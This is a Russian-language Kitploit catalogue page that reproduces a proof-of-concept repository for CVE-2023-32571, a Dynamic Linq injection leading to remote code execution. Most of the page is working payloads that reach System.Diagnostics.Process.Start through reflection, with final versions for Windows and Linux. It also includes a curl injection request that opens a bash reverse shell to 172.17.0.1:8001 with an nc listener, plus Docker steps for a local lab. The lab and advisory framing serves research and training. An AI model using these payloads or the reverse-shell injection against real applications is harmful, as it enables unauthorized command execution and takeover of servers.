Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-32571-POC | Kitploit
Инструменты/GitHubGitHub/tris0n/cve-2023-32571-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

Репозиторий
72 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Инъекция Dynamic Linq до RCE - CVE-2023-32571

Об инъекции Dynamic Linq, приводящей к RCE (CVE-2023-32571)

Недавно участники NCC Group обнаружили уязвимость в Dynamic Linq, которая позволяет злоумышленникам вызывать функции C# через Linq-инъекцию, что делает возможным получение RCE.

Несмотря на отчёт об RCE в Dynamic Linq, участники NCC Group по какой-то причине не предоставили POC для выполнения команд.

POC

Как указано в исследовании NCC Group, мы можем вызывать методы C# через "Invoke". С помощью этого мы можем вызвать "System.Diagnostics.Process.Start" и выполнять команды на сервере.

Мы можем использовать метод "CreateInstanceFromAndUnwrap" для вызова System.Diagnostics.Process через сборку.

Полезная нагрузка для использования метода System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Полезная нагрузка для вызова System.Diagnostics.Process через метод CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Обращаясь к методам класса System.Diagnostics.Process, мы можем использовать метод System.Diagnostics.Process.Start для выполнения команд в системе:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Примечание: обратите внимание, что полезная нагрузка ищет первые 3 метода Start и берёт последний из них. Я сделал это потому, что в списке методов System.Diagnostics.Process было несколько методов Start, и нужный нам — третий в списке.

Финальная полезная нагрузка

Целевые Windows

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Целевые Linux
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Чтобы запустить лабораторный стенд, следуйте инструкциям

Установите Docker и docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

Клонируйте этот репозиторий:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

Перейдите в каталог репозитория:
root@kitploit:~
cd CVE-2023-32571-POC

Запустите docker-compose:
root@kitploit:~
sudo docker-compose up --build

Приложение запускается на http://localhost:8000/

Разбор лабораторного стенда

При обращении к маршруту "/api/products" методом POST мы видим, что он возвращает список продуктов:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Отправляя параметр name в JSON, мы можем фильтровать продукты:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

После некоторых тестов мы видим, что нам удалось внедрить инъекцию в запрос Dynamic Linq. Отправив следующую полезную нагрузку, мы смогли получить обратную оболочку:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

Ссылки

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
Скачать инструмент